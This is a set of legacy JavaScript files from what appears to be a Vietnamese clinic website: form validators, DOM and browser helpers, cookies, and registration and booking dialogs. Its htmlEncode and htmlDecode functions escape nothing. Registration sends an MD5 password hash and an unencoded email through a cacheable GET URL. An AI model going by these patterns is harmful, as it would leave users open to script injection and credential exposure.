NTTHAO.validator.isText = function(val, args) {
NTTHAO.validator.validate(val, args, 'text');
}
NTTHAO.validator.isAlphanumeric = function(val, args) {
NTTHAO.validator.validate(val, args, 'alphanumeric');
}
NTTHAO.validator.isUsername = function(val, args) {
NTTHAO.validator.validate(val, args, 'username');
}
NTTHAO.validator.isAlphanum = function(val, args) {
NTTHAO.validator.validate(val, args, 'alphanum');
}
NTTHAO.validator.isVerificationCode = function(val, args) {
NTTHAO.validator.validate(val, args, 'verificationcode');
}
NTTHAO.validator.isEmail = function(val, args) {
NTTHAO.validator.validate(val, args, 'email');
}
NTTHAO.validator.isPhone = function(val, args) {
NTTHAO.validator.validate(val, args, 'phone');
}
NTTHAO.validator.isURL = function(val, args) {
NTTHAO.validator.validate(val, args, 'URL');
}
NTTHAO.validator.isPath = function(val, args) {
NTTHAO.validator.validate(val, args, 'path');
}
NTTHAO.validator.isImageFile = function(val, args) {
NTTHAO.validator.validate(val, args, 'image');
}
NTTHAO.validator.isIntegerRequired = function(val, args) {
NTTHAO.validator.validateWithNoBlank(val, args, 'integer');
}
NTTHAO.validator.isNaturalNumberRequired = function(val, args) {
NTTHAO.validator.validateWithNoBlank(val, args, 'integer');
if (args.IsValid) {
var ctrlToValidate = document.all ? document.all[val.controltovalidate] : document.getElementById(val.controltovalidate);
args.IsValid = (parseInt(ctrlToValidate.value, 10) >= 0);
}
}
NTTHAO.validator.isNaturalNumberVNRequired = function(val, args) {
var ctrlToValidate = document.all ? document.all[val.controltovalidate] : document.getElementById(val.controltovalidate);
var rawValue = ctrlToValidate.value;
ctrlToValidate.value = ctrlToValidate.value.replace(/\./gi, '').replace(/,/gi, '.');
NTTHAO.validator.validateWithNoBlank(val, args, 'integer');
if (args.IsValid) {
args.IsValid = (parseInt(ctrlToValidate.value, 10) >= 0);
}
ctrlToValidate.value = rawValue;
}
NTTHAO.validator.isDecimalRequired = function(val, args) {
NTTHAO.validator.validateWithNoBlank(val, args, 'decimal');
}
NTTHAO.validator.isTextRequired = function(val, args) {
NTTHAO.validator.validateWithNoBlank(val, args, 'text');
}
NTTHAO.validator.isAlphanumericRequired = function(val, args) {
NTTHAO.validator.validateWithNoBlank(val, args, 'alphanumeric');
}
NTTHAO.validator.isUsernameRequired = function(val, args) {
NTTHAO.validator.validateWithNoBlank(val, args, 'username');
if (args.IsValid) {
var ctrlToValidate = document.all ? document.all[val.controltovalidate] : document.getElementById(val.controltovalidate);
args.IsValid = ctrlToValidate.value.length >= 5;
}
}
NTTHAO.validator.isAlphanumRequired = function(val, args) {
NTTHAO.validator.validateWithNoBlank(val, args, 'alphanum');
}
NTTHAO.validator.isVerificationCodeRequired = function(val, args) {
NTTHAO.validator.validateWithNoBlank(val, args, 'verificationcode');
}
NTTHAO.validator.isEmailRequired = function(val, args) {
NTTHAO.validator.validateWithNoBlank(val, args, 'email');
}
NTTHAO.validator.isPhoneRequired = function(val, args) {
NTTHAO.validator.validateWithNoBlank(val, args, 'phone');
}
NTTHAO.validator.isURLRequired = function(val, args) {
NTTHAO.validator.validateWithNoBlank(val, args, 'URL');
}
NTTHAO.validator.isPathRequired = function(val, args) {
NTTHAO.validator.validateWithNoBlank(val, args, 'path');
}
NTTHAO.validator.formValidationRequired = function() {
return Page_ClientValidate();
} | JavaScript |
///////////////////////////////////////////////////////
// Library for version 1.0
// langxangvn <langxangvn@gmail.com>
///////////////////////////////////////////////////////
/**
* Modifier name: Đặng Anh Vũ <langxangvn@gmail.com>
* Modifier ID 000
* Date 1/4/2007
* Reason bản đầu tiên
*/
/**
* Modifier name: Đặng Anh Vũ <langxangvn@gmail.com>
* Modifier ID 001
* Date 28/4/2007
* Reason Cac ham va chuc nang coordinate
*/
//---------------------------------------
// show/hide table row - langxangvn VinaCyber JSC 10/2006
//---------------------------------------
function showTableRow(idRow, bVisibility)
{
if(navigator.appName.indexOf("Microsoft") > -1)
{
// neu la IE thi visibility la block
var canSee = 'block';
}
else
{
// FF table-row
var canSee = 'table-row';
}
if (document.getElementById && document.createTextNode)
{
var tr = document.getElementById(idRow);
if (tr)
{
if(bVisibility == "true")
{
// block for IE
// table-row for FF
tr.style.display = canSee;
}
else if(bVisibility == "false")
{
tr.style.display = 'none';
}
}
}
}
function isLegal(szCheck, szInvalid)
{
// szInvalid cac ky tu dac biet
for(var i = 0; i < szInvalid.length; i ++)
{
// co ky tu dac biet trong chuoi can check
if(szCheck.indexOf(szInvalid.charAt(i)) >= 0 )
{
return false;
}
}
return true;
}
function LTrim(iStr)
{
if(!iStr)
return iStr;
else
iStr = iStr.toString();
while (iStr.charCodeAt(0) <= 32)
{
iStr = iStr.substr(1);
}
return iStr;
}
function RTrim(iStr)
{
if(!iStr)
return iStr;
else
iStr = iStr.toString();
while (iStr.charCodeAt(iStr.length - 1) <= 32)
{
iStr = iStr.substr(0, iStr.length - 1);
}
return iStr;
}
function Trim(iStr)
{
if(!iStr)
return iStr;
else
iStr = iStr.toString();
while (iStr.charCodeAt(0) <= 32)
{
iStr = iStr.substr(1);
}
while (iStr.charCodeAt(iStr.length - 1) <= 32)
{
iStr = iStr.substr(0, iStr.length - 1);
}
return iStr;
}
function Left(str, n)
{
if(!str)
return str;
else
str = str.toString();
if (n <= 0)
return "";
else if (n > String(str).length)
return str;
else
return String(str).substring(0, n);
}
function Right(str, n)
{
if(!str)
return str;
else
str = str.toString();
if (n <= 0)
return "";
else if (n > String(str).length)
return str;
else
{
var iLen = String(str).length;
return String(str).substring(iLen, iLen - n);
}
}
/*
Author: Matt Kruse <matt@mattkruse.com>
http://www.mattkruse.com/
*/
function isBlank(val) {
if(!val) {
return true;
}
for(var i = 0;i < val.length;i ++) {
if ((val.charAt(i) != ' ')
&& (val.charAt(i) != "\t")
&& (val.charAt(i) != "\n")
&&(val.charAt(i) != "\r")) {
return false;
}
}
return true;
}
function isInteger(val) {
if (isBlank(val)) {
return false;
}
for(var i = 0; i < val.length; i++) {
if(!isDigit(val.charAt(i))) {
return false;
}
}
return true;
}
function isNumeric(val) {
return(parseFloat(val, 10) == (val*1));
}
function isArray(obj) {
return(typeof(obj.length) == "undefined") ? false : true;
}
function isDigit(num) {
if (num.length > 1) {
return false;
}
var string="1234567890";
if (string.indexOf(num) != -1) {
return true;
}
return false;
}
function setNullIfBlank(obj) {
if(isBlank(obj.value)) {
obj.value = "";
}
}
function setFieldsToUpperCase() {
for(var i = 0;i < arguments.length; i++) {
arguments[i].value = arguments[i].value.toUpperCase();
}
}
/* end JavascriptToolbox http://www.mattkruse.com/javascript */
function isLeapYear(year) {
if(!isInteger(year))
return false;
return (year % 4 == 0 && year % 100 != 0) || (year % 400 == 0);
}
function isDate(datestring) {
var regex = /\b(0?[1-9]|[12][0-9]|3[01])[-\/.\\/](0?[1-9]|1[012])[-\/.\\/]((19|20)?[0-9]{2})\b/;
var match = regex.exec(datestring);
if(!match) {
return false;
}
else {
var day = parseInt(match[1]);
var month = parseInt(match[2]);
var year = parseInt(match[3]);
if(year < 100)
year = year + 2000;
if ((month == 4 || month == 6 || month == 9 || month == 11) && day == 31) {
return false;
}
if (month == 2) {
if (day > 29 || (day == 29 && !isLeapYear(year))) {
return false;
}
}
return true;
}
}
function isDateBefore(src, dst) {
var srcDate, dstDate;
var year, month, day;
var regex = /\b(0?[1-9]|[12][0-9]|3[01])[-\/.\\/](0?[1-9]|1[012])[-\/.\\/]((19|20)?[0-9]{2})\b/;
var match = regex.exec(src);
if(!match) {
return -1;
} else {
day = parseInt(match[1]);
month = parseInt(match[2]);
year = parseInt(match[3]);
if(year < 100)
year = year + 2000;
srcDate = new Date(year, month - 1, day);
}
match = regex.exec(dst);
if(!match) {
return -1;
} else {
day = parseInt(match[1]);
month = parseInt(match[2]);
year = parseInt(match[3]);
if(year < 100)
year = year + 2000;
dstDate = new Date(year, month - 1, day);
}
return (srcDate - dstDate) > 0 ? false : true;
}
function getSelectedOptionLabel(objSelect)
{
if(objSelect) {
arOptions = objSelect.getElementsByTagName("option");
for(var i = 0; i < arOptions.length; i++) {
if(arOptions[i].selected) {
return arOptions[i].label;
}
}
}
return '';
}
function getSelectedOptionInnerHTML(objSelect)
{
if(objSelect)
{
arOptions = objSelect.getElementsByTagName("option");
for(var i = 0; i < arOptions.length; i++)
{
if(arOptions[i].selected)
{
return arOptions[i].innerHTML;
}
}
}
return '';
}
function getEnter(field, event)
{
var keyCode = event.keyCode ? event.keyCode : event.which ? event.which : event.charCode;
if (keyCode == 13)
{
return true;
}
else
return false;
}
function getEscape(field, event)
{
var keyCode = event.keyCode ? event.keyCode : event.which ? event.which : event.charCode;
if (keyCode == 27)
{
return true;
}
else
return false;
}
function raiseKeyEvent(keyCode, objTarget)
{
var fireOn = document.getElementById(objTarget);
// Neu co createEvent
if(document.createEvent)
{
// Neu co KeyEvent (FireFox)
if(window.KeyEvent)
{
var evObj = document.createEvent('KeyEvents');
evObj.initKeyEvent('keypress', true, true, window, false, false, false, false, keyCode, 0);
}
// Khong ho tro KeyEvent, dung UIEvent thay the
else
{
var evObj = document.createEvent('UIEvents');
evObj.initUIEvent('keypress', true, true, window, 1);
evObj.keyCode = keyCode;
}
fireOn.dispatchEvent(evObj);
}
// Neu co createEventObject (IE dung fireEvent)
else if(document.createEventObject)
{
var evObj = document.createEventObject();
evObj.ctrlKey = false;
evObj.altKey = false;
evObj.shiftKey = false;
evObj.keyCode = keyCode;
fireOn.fireEvent('onkeypress', evObj);
}
}
function raiseEnterEvent(objTarget)
{
raiseKeyEvent(13, objTarget);
}
var glErrorCount = 0;
var glErrorMsg = new Array();
var glHasFocus = false;
glErrorMsg[0] = "---- The following errors occured ----" + String.fromCharCode(10);
function checkField(type, field, message)
{
var fieldvalue = Trim(field.value);
var bAllValid = true;
var bFlagDot = false;
// Blank error
if (type == 'noblank')
{
if (fieldvalue == "")
{
glErrorCount ++;
glErrorMsg[glErrorCount] = message + String.fromCharCode(10);
if(glHasFocus == false)
{
glHasFocus = true;
field.focus();
}
}
}
// Kiem tra dien chi email
else if(type == 'email')
{
if(!isEmail(fieldvalue))
{
glErrorCount ++;
glErrorMsg[glErrorCount] = message + String.fromCharCode(10);
if(glHasFocus == false)
{
glHasFocus = true;
field.focus();
}
}
}
else if(type == 'username')
{
/* ^(([A-Za-z\d][A-Za-z\d_]+[a-zA-Z\d])|([a-zA-Z\d]+))$ */
// neu co underscore thi khong nam dau hay cuoi username
if (!fieldvalue.match(/^(([A-Za-z\d][A-Za-z\d_]+[a-zA-Z\d])|([a-zA-Z\d]+))$/))
{
glErrorCount ++;
glErrorMsg[glErrorCount] = message + String.fromCharCode(10);
if(glHasFocus == false)
{
glHasFocus = true;
field.focus();
}
}
}
else if(type == 'captcha')
{
/* ^[A-Z0-9]{5}$ */
if (!fieldvalue.match(/^[a-zA-Z0-9]{5}$/))
{
glErrorCount ++;
glErrorMsg[glErrorCount] = message + String.fromCharCode(10);
if(glHasFocus == false)
{
glHasFocus = true;
field.focus();
}
}
}
else if(type == 'mobile')
{
/* ^((\(\+?\d{1,3}\))|(\+?\d{1,3}))*[.-\s]?\d{4}[.-\s]?\d+$ */
/* part 1: match (code) (+code) +code code voi code tu 1 den 3 so */
/* co hay khong co phan cach space - hay . */
/* tiep theo 4 chu so */
/* co hay khong co phan cach space - hay . */
if (!fieldvalue.match(/^((\(\+?84\)[\-\.\s]?)|(\+?84[\-\.\s]?)|(0))((9\d{2}[\-\.\s]?\d{6})|(9\d{1}[\-\.\s]?\d{7}))$/))
{
glErrorCount ++;
glErrorMsg[glErrorCount] = message + String.fromCharCode(10);
if(glHasFocus == false)
{
glHasFocus = true;
field.focus();
}
}
}
else if(type == 'phone')
{
if (!fieldvalue.match(/^((\(\d{2,4}\)[\-\.\s]?)|(\d{2,4}[\-\.\s]?))?(\d{3}[\-\.\s]?\d{3,4})$/))
{
glErrorCount ++;
glErrorMsg[glErrorCount] = message + String.fromCharCode(10);
if(glHasFocus == false)
{
glHasFocus = true;
field.focus();
}
}
}
else
{
}
}
function isEmail(email)
{
if(email.match(/^([a-z0-9+_]|\-|\.)+@(([a-z0-9_]|\-)+\.)+[a-z]{2,6}$/))
return true;
return false;
}
/*
Original code from www.yahoo.com
- Netscape Navigator 4.x (ns4): The most important test - NS4 does
almost everything differently to the other browsers.
- Opera 5 (op5): Opera 5 lacks some of the functions that other browsers have.
These include not being able to change an elements background colour and style class.
Opera 5 also chokes when sizes and co-ordinates are set using the "px" suffix.
- Opera 6 (op6): Opera 6 only lacks the ability to change an elements style class.
- MSIE on the Mac (mac_ie): The problem with MSIE on the Mac is when you try to get
the top co-ordinate of a table cell element. It incorrectly returns the top co-ordinate
of the table element, not the table cell. To get round this, you have to base positioning
on table row elements instead. Konqueror on Linux seems to have the opposite problem which adds to the fun.
*/
function sniffBrowsers() {
d = document;
this.agt = navigator.userAgent.toLowerCase();
this.major = parseInt(navigator.appVersion);
this.dom = (d.getElementById) ? 1 : 0; // true for ie6, ns6
this.ns = (d.layers);
this.ns4up = (this.ns && this.major >= 4);
this.ns6 = (this.dom&&navigator.appName == "Netscape");
this.op = (window.opera ? 1 : 0);
this.op5 = (navigator.userAgent.indexOf("Opera 5") != -1) || (navigator.userAgent.indexOf("Opera/5") != -1);
this.op6 = (navigator.userAgent.indexOf("Opera 6") != -1) || (navigator.userAgent.indexOf("Opera/6") != -1);
this.ie = (d.all);
this.ie4 = (d.all && !this.dom) ? 1 : 0;
this.ie4up = (this.ie && this.major >= 4);
this.ie5 = (d.all && this.dom);
this.win = ((this.agt.indexOf("win") != -1) || (this.agt.indexOf("16bit") != -1));
this.mac = (this.agt.indexOf("mac") != -1);
}
var objBrowser = new sniffBrowsers();
/* end determine browser */
function getStyleObject(objectId) {
if(document.getElementById && document.getElementById(objectId)) {
return document.getElementById(objectId).style;
} else if (document.all && document.all(objectId)) {
return document.all(objectId).style;
} else if (document.layers && document.layers[objectId]) {
return getObjNN4(document,objectId);
} else {
return false;
}
}
function changeObjectVisibility(objectId, newVisibility) {
var styleObject = getStyleObject(objectId, document);
if(styleObject) {
styleObject.visibility = newVisibility;
return true;
} else {
return false;
}
}
function findImage(name, doc) {
var i, img;
for (i = 0; i < doc.images.length; i++) {
if (doc.images[i].name == name) {
return doc.images[i];
}
}
for (i = 0; i < doc.layers.length; i++) {
if ((img = findImage(name, doc.layers[i].document)) != null) {
img.container = doc.layers[i];
return img;
}
}
return null;
}
function getImage(name) {
if (document.layers) {
return findImage(name, document);
}
return null;
}
function getObjNN4(obj,name)
{
var x = obj.layers;
var foundLayer;
for (var i=0;i<x.length;i++)
{
if (x[i].id == name)
foundLayer = x[i];
else if (x[i].layers.length)
var tmp = getObjNN4(x[i],name);
if (tmp) foundLayer = tmp;
}
return foundLayer;
}
function getElementHeight(element) {
if (objBrowser.ns4) {
var elem = getObjNN4(document, element);
return elem.clip.height;
} else {
var elem;
if(document.getElementById) {
var elem = document.getElementById(element);
} else if (document.all){
var elem = document.all[element];
}
if (objBrowser.op5) {
xPos = elem.style.pixelHeight;
} else {
xPos = elem.offsetHeight;
}
return xPos;
}
}
function getElementWidth(element) {
if (objBrowser.ns4) {
var elem = getObjNN4(document, element);
return elem.clip.width;
} else {
var elem;
if(document.getElementById) {
var elem = document.getElementById(element);
} else if (document.all){
var elem = document.all[element];
}
if (objBrowser.op5) {
xPos = elem.style.pixelWidth;
} else {
xPos = elem.offsetWidth;
}
return xPos;
}
}
function getElementLeft(element) {
if (objBrowser.ns4) {
var elem = getObjNN4(document, element);
return elem.pageX;
} else {
var elem;
if(document.getElementById) {
var elem = document.getElementById(element);
} else if (document.all){
var elem = document.all[element];
}
xPos = elem.offsetLeft;
tempEl = elem.offsetParent;
while (tempEl != null) {
xPos += tempEl.offsetLeft;
tempEl = tempEl.offsetParent;
}
return xPos;
}
}
function getElementTop(element) {
if (objBrowser.ns4) {
var elem = getObjNN4(document, element);
return elem.pageY;
} else {
if(document.getElementById) {
var elem = document.getElementById(element);
} else if (document.all) {
var elem = document.all[element];
}
yPos = elem.offsetTop;
tempEl = elem.offsetParent;
while (tempEl != null) {
yPos += tempEl.offsetTop;
tempEl = tempEl.offsetParent;
}
return yPos;
}
}
function getImageLeft(myImage) {
var x, obj;
if (document.layers) {
var img = getImage(myImage);
if (img.container != null)
return img.container.pageX + img.x;
else
return img.x;
} else {
return getElementLeft(myImage);
}
return -1;
}
function getImageTop(myImage) {
var y, obj;
if (document.layers) {
var img = getImage(myImage);
if (img.container != null)
return img.container.pageY + img.y;
else
return img.y;
} else {
return getElementTop(myImage);
}
return -1;
}
function getImageWidth(myImage) {
var x, obj;
if (document.layers) {
var img = getImage(myImage);
return img.width;
} else {
return getElementWidth(myImage);
}
return -1;
}
function getImageHeight(myImage) {
var y, obj;
if (document.layers) {
var img = getImage(myImage);
return img.height;
} else {
return getElementHeight(myImage);
}
return -1;
}
function moveXY(myObject, x, y) {
obj = getStyleObject(myObject)
if (objBrowser.ns4) {
obj.top = y;
obj.left = x;
} else {
if (objBrowser.op5) {
obj.pixelTop = y;
obj.pixelLeft = x;
} else {
obj.top = y + 'px';
obj.left = x + 'px';
}
}
}
function changeClass(element, myClass) {
var elem;
if(document.getElementById) {
var elem = document.getElementById(element);
} else if (document.all){
var elem = document.all[element];
}
elem.className = myClass;
}
function changeImage(target, source) {
var imageObj;
if (objBrowser.ns4) {
imageObj = getImage(target);
if (imageObj) imageObj.src = eval(source).src;
} else {
imageObj = eval('document.images.' + target);
if (imageObj) imageObj.src = eval(source).src;
}
}
function changeBGColour(myObject, colour) {
if (objBrowser.ns4) {
var obj = getObjNN4(document, myObject);
obj.bgColor=colour;
} else {
var obj = getStyleObject(myObject);
if (objBrowser.op5) {
obj.background = colour;
} else {
obj.backgroundColor = colour;
}
}
}
function getAbsolutePosition(element)
{
var r = { x: element.offsetLeft, y: element.offsetTop };
if (element.offsetParent) {
var tmp = getAbsolutePosition(element.offsetParent);
r.x += tmp.x;
r.y += tmp.y;
}
return r;
};
/**
* Retrieve the coordinates of the given event relative to the center
* of the widget.
*
* @param event
* A mouse-related DOM event.
* @param reference
* A DOM element whose position we want to transform the mouse coordinates to.
* @return
* A hash containing keys 'x' and 'y'.
*/
function getRelativeCoordinates(event, reference) {
var x, y;
event = event || window.event;
var el = event.target || event.srcElement;
if (!window.opera && typeof event.offsetX != 'undefined') {
// Use offset coordinates and find common offsetParent
var pos = { x: event.offsetX, y: event.offsetY };
// Send the coordinates upwards through the offsetParent chain.
var e = el;
while (e) {
e.mouseX = pos.x;
e.mouseY = pos.y;
pos.x += e.offsetLeft;
pos.y += e.offsetTop;
e = e.offsetParent;
}
// Look for the coordinates starting from the reference element.
var e = reference;
var offset = { x: 0, y: 0 }
while (e) {
if (typeof e.mouseX != 'undefined') {
x = e.mouseX - offset.x;
y = e.mouseY - offset.y;
break;
}
offset.x += e.offsetLeft;
offset.y += e.offsetTop;
e = e.offsetParent;
}
// Reset stored coordinates
e = el;
while (e) {
e.mouseX = undefined;
e.mouseY = undefined;
e = e.offsetParent;
}
}
else {
// Use absolute coordinates
var pos = getAbsolutePosition(reference);
x = event.pageX - pos.x;
y = event.pageY - pos.y;
}
// Subtract distance to middle
return { x: x, y: y };
}
function utf8(wide) {
var c, s;
var enc = "";
var i = 0;
while(i < wide.length) {
c= wide.charCodeAt(i++);
// handle UTF-16 surrogates
if (c >= 0xDC00 && c < 0xE000) continue;
if (c >= 0xD800 && c < 0xDC00) {
if (i >= wide.length) continue;
s = wide.charCodeAt(i ++);
if (s < 0xDC00 || c >= 0xDE00) continue;
c= ((c - 0xD800) << 10) + (s - 0xDC00) + 0x10000;
}
// output value
if (c < 0x80) enc += String.fromCharCode(c);
else if (c < 0x800) enc += String.fromCharCode(0xC0 + (c >> 6), 0x80 + (c & 0x3F));
else if (c < 0x10000) enc += String.fromCharCode(0xE0 + (c >> 12), 0x80 + (c >> 6 & 0x3F), 0x80 + (c & 0x3F));
else enc += String.fromCharCode(0xF0 + (c >> 18), 0x80 + (c >> 12 & 0x3F), 0x80 + (c >> 6&0x3F), 0x80 + (c & 0x3F));
}
return enc;
}
var hexchars = "0123456789ABCDEF";
function toHex(n) {
return hexchars.charAt(n >> 4) + hexchars.charAt(n & 0xF);
}
/*
Example File From "JavaScript and DHTML Cookbook"
Published by O'Reilly & Associates
Copyright 2003 Danny Goodman
*/
function getElementStyle(elemID, IEStyleAttr, CSSStyleAttr) {
var elem = document.getElementById(elemID);
if(elem != null) {
if (elem.currentStyle) {
return elem.currentStyle[IEStyleAttr];
} else if (window.getComputedStyle) {
var compStyle = window.getComputedStyle(elem, "");
return compStyle.getPropertyValue(CSSStyleAttr);
}
} else {
//alert(elemID + " is not an element");
}
return "0";
}
function htmlEncode(value) {
return value.replace(/&/g, "&").replace(/</g, "<").replace(/>/g, ">").replace(/\"/g, """).replace(/\'/g, "'");
}
function htmlDecode(value) {
return value.replace(/&/g, "&").replace(/</g, "<").replace(/>/g, ">").replace(/"/g, "\"").replace(/'/g, "'");
}
function appendOptionLast(objSelect, text, value)
{
var newOpt = document.createElement('option');
newOpt.text = text;
newOpt.value = value;
try {
objSelect.add(newOpt, null); // standards compliant; doesn't work in IE
} catch(ex) {
objSelect.add(newOpt); // IE only
}
}
// ThaoNguyen
// 123456.789 -> 123,456.789
function toNumericString(obj){
var str= new String(obj);
if(str == null || str.length < 1)
return "";
var strs = null;
if(str.indexOf(".", 0) >= 0) {
strs = str.split(".");
} else {
strs = new Array();
strs[0] = str;
}
var result = "";
var index = strs[0].length;
var len = strs[0].length;
do{
var num = (index >= 3) ? 3 : index;
index = ((index - 3) > 0) ? (index - 3) : 0;
result = strs[0].substr(index, num) + (result.length > 0 ? "," : "") + result;
} while(index > 0);
if(strs.length > 1 && strs[1].length > 0) {
result += "." + strs[1];
}
return result;
}
function getURLParam( name ) {
name = name.replace(/[\[]/,"\\\[").replace(/[\]]/,"\\\]");
var regexS = "[\\?&]"+name+"=([^&#]*)";
var regex = new RegExp( regexS );
var results = regex.exec( window.location.href );
if( results == null )
return "";
else
return results[1];
}
function getFileExtension(fileName)
{
if(fileName.length == 0) {
return "";
}
var dot = fileName.lastIndexOf(".");
if(dot == -1) {
return "";
}
var extension = fileName.substr(dot, fileName.length);
return extension;
}
function checkFileType(fileName, allowedExt)
{
if (!isArray(allowedExt)) {
return false;
}
if (!fileName)
return true;
var ext = getFileExtension(fileName);
if( ext == "" ) {
return false;
} else {
ext = ext.toLowerCase();
for(var i = 0; i < allowedExt.length; i++) {
if(ext == allowedExt[i].toLowerCase()) {
return true;
}
}
}
return false;
} | JavaScript |
function setCookie(c_name,value,exdays){
var exdate=new Date();
if (exdays!=null) {
exdate.setDate(exdate.getDate() + exdays);
}
var c_value=escape(value) + ((exdays==null) ? "" : "; expires="+exdate.toUTCString());
document.cookie=c_name + "=" + c_value + "; path=/";
}
function getCookie(c_name) {
var i,x,y,ARRcookies=document.cookie.split(";");
for (i=0;i<ARRcookies.length;i++)
{
x=ARRcookies[i].substr(0,ARRcookies[i].indexOf("="));
y=ARRcookies[i].substr(ARRcookies[i].indexOf("=")+1);
x=x.replace(/^\s+|\s+$/g,"");
if (x==c_name) {
return unescape(y);
}
}
return null;
} | JavaScript |
Date.prototype.yyyymmdd = function() {
var yyyy = this.getFullYear().toString();
var mm = (this.getMonth()+1).toString(); // getMonth() is zero-based
var dd = this.getDate().toString();
return yyyy + (mm[1]?mm:"0"+mm[0]) + (dd[1]?dd:"0"+dd[0]); // padding
};
Date.prototype.addDate = function(numDate) {
var d = this.getDate() + 1;
this.setDate(d);
return this;
};
function getQueryObject() {
var result = {}, queryString = location.search.slice(1),
re = /([^&=]+)=([^&]*)/g, m;
while (m = re.exec(queryString)) {
result[decodeURIComponent(m[1])] = decodeURIComponent(m[2]);
}
return result;
}
function waitingNow(message) {
message = message == null ? '<h2>Vui lòng đợi trong giây lát...</h2>' : message;
$.blockUI({
css: {
border: 'none',
padding: '15px',
backgroundColor: '#000',
'-webkit-border-radius': '10px',
'-moz-border-radius': '10px',
opacity: .9,
color: '#fff'
} ,
message: (message)
});
}
function endWaiting() {
$.unblockUI();
}
jwin.showMessage = function(message, title) {
var oMsgBox = $('#messageBox');
if(oMsgBox.length < 1) {
oMsgBox = $('<div id="messageBox" style="display: none;"></div>');
oMsgBox.appendTo(document.body);
}
oMsgBox.html(message).dialog({
modal: true,
title: title,
resizable: false,
width: 500,
height: 300,
show: {
effect: "fadeIn",
duration: 600
},
hide: {
effect: "fadeOut",
duration: 600
},
open: function(event, ui) {
},
close: function() {
}
});
};
jwin.showError = function(error) {
var html = '<table border="0" cellpadding="0" cellspacing="0" width="100%" height="100%"><tr valign="middle"><td align="center"><span style="color: #fff; font-size: 18px; line-height: 24px;">' + error + '</span></td></tr></table>';
jwin.showMessage(html, 'Thông báo');
}
jdoc.ready(function(){
$('input[note], textarea[note]').each(function(){
var me = $(this);
me.focus(enterThis);
me.blur(blurThis);
me.blur();
});
});
jwin.showBooking = function() {
var bookingDialog = $('#bookingDialogDetail');
bookingDialog.dialog({
modal: true,
resizable: false,
autoOpen: true,
width: 710,
//height: 400,
title: 'Đặt lịch khám',
buttons: {
"Đặt lịch": function() {
$( this ).dialog( "close" );
},
"Nhập lại": function() {
}
},
close: function() {
},
open: function(){
$("body").css({overflow: 'hidden'});
bookingDialog.scrollTop(0);
},
close: function(){
$("body").css({overflow: ''});
}
});
return false;
}
NTTHAO.validator.isUserExisting = function(username) {
var result = false;
$.ajax({url:'/Services.Vigor.aspx?id=001&action=userid&value=' + encodeURIComponent(username),
dataType: 'json',
cache: false,
async: false})
.done(function(data) {
if (data.data.existing != 0) {
result = true;
}
});
return result;
}
NTTHAO.validator.isEmailExisting = function(email) {
var result = false;
$.ajax({url:'/Services.Vigor.aspx?id=001&action=email&value=' + encodeURIComponent(email),
dataType: 'json',
cache: false,
async: false})
.done(function(data) {
if (data.data.existing != 0) {
result = true;
}
});
return result;
}
jwin.clearRegister = function() {
var regFName = $('#regFName');
var regUsername = $('#regUsername');
var regEmail = $('#regEmail');
var regPassword = $('#regPassword');
var regRetypePassword = $('#regRetypePassword');
regFName.val('');
regUsername.val('');
regEmail.val('');
regPassword.val('');
regRetypePassword.val('');
regFName.blur();
regUsername.blur();
regEmail.blur();
regPassword.blur();
regRetypePassword.blur();
regUsername.get(0).focus();
}
jwin.checkRegister = function() {
var lang = window.SITE.lang;
var regFName = $('#regFName').get(0);
var regUsername = $('#regUsername').get(0);
var regEmail = $('#regEmail').get(0);
var regPassword = $('#regPassword').get(0);
var regRetypePassword = $('#regRetypePassword').get(0);
var result = false;
// name
if (isDefaultValue(regFName)) {
regFName.value = '';
}
if(Trim(regFName.value) == '') {
if (lang === 'vi') {
jwin.showError("Vui lòng nhập họ tên của bạn.");
} else {
jwin.showError("Please input your name.");
}
regFName.focus();
return false;
}
// username
if (isDefaultValue(regUsername)) {
regUsername.value = '';
}
if(Trim(regUsername.value) == '' || regUsername.value.length < 5 || regUsername.value.length > 30 || !NTTHAO.validator.checkField('username', regUsername)) {
if (lang === 'vi') {
jwin.showError("Tên đăng nhập không hợp lệ.<br />Tên đăng nhập dài từ 5 - 30 ký tự, chỉ bao gồm các ký tự A-Z, a-z, 0-9 và '_'.");
} else {
jwin.showError("Username is invalid.");
}
regUsername.focus();
return false;
}
if (NTTHAO.validator.isUserExisting(regUsername.value.trim())) {
if (lang === 'vi') {
jwin.showError('Tên đăng nhập đã tồn tại. Vui lòng chọn tên đăng nhập khác.');
} else {
jwin.showError('The username has already been used. Please choose another.');
}
regUsername.focus();
return false;
}
// email
if (isDefaultValue(regEmail)) {
regEmail.value = '';
}
if(Trim(regEmail.value) == '' || !NTTHAO.validator.checkField('email', regEmail)) {
if (lang === 'vi') {
jwin.showError("Địa chỉ email không hợp lệ.");
} else {
jwin.showError("Email is invalid.");
}
regEmail.focus();
return false;
}
if (NTTHAO.validator.isEmailExisting(regEmail.value.trim())) {
if (lang === 'vi') {
jwin.showError('Email này đã đăng ký. Vui lòng sử dụng email khác.');
} else {
jwin.showError('The email has already been used. Please choose another.');
}
regEmail.focus();
return false;
}
//password
if (isDefaultValue(regPassword)) {
regPassword.value = '';
}
if(regPassword.value == '' || regPassword.value.length < 6 || regPassword.value.length > 30) {
if (lang === 'vi') {
jwin.showError("Mật khẩu đăng nhập không hợp lệ.<br />Mật khẩu phải từ 6 - 30 ký tự, có phân biệt chữ hoa/thường.");
} else {
jwin.showError("Password is invalid.");
}
regPassword.focus();
return false;
}
if(regPassword.value != regRetypePassword.value) {
if (lang === 'vi') {
jwin.showError("Mật khẩu đăng nhập không khớp.");
} else {
jwin.showError("Password does not match the confirm password.");
}
regPassword.focus();
return false;
}
return true;
}
jwin.registerNow = function() {
var lang = window.SITE.lang;
var regFName = $('#regFName').get(0);
var regUsername = $('#regUsername').get(0);
var regEmail = $('#regEmail').get(0);
var regPassword = $('#regPassword').get(0);
var regRetypePassword = $('#regRetypePassword').get(0);
var name = regFName.value.trim();
var usename = regUsername.value.trim();
var email = regEmail.value.trim();
var password = regPassword.value;
waitingNow();
try {
var encodedPass = encodeURIComponent(hex_md5(password));
var url = '/Services.Vigor.aspx?id=003&action=register&name=' + encodeURIComponent(name) + '&username=' + encodeURIComponent(usename) + '&password=' + encodedPass + '&email=' + email;
$.ajax({url: url,
dataType: 'json',
cache: true,
async: false,
context: this })
.done(function(data) {
endWaiting();
if (lang === 'vi') {
jwin.showError("Chúc mừng bạn đã đăng ký thành công.<br /><br />Vui lòng đăng nhập để sử dụng.");
} else {
jwin.showError("Your account has been registered. Please login to use it.");
}
});
} catch (e) {
endWaiting();
}
}
jwin.showRegister = function() {
var registerDialog = $('#registerDialog');
registerDialog.dialog({
modal: true,
resizable: false,
autoOpen: true,
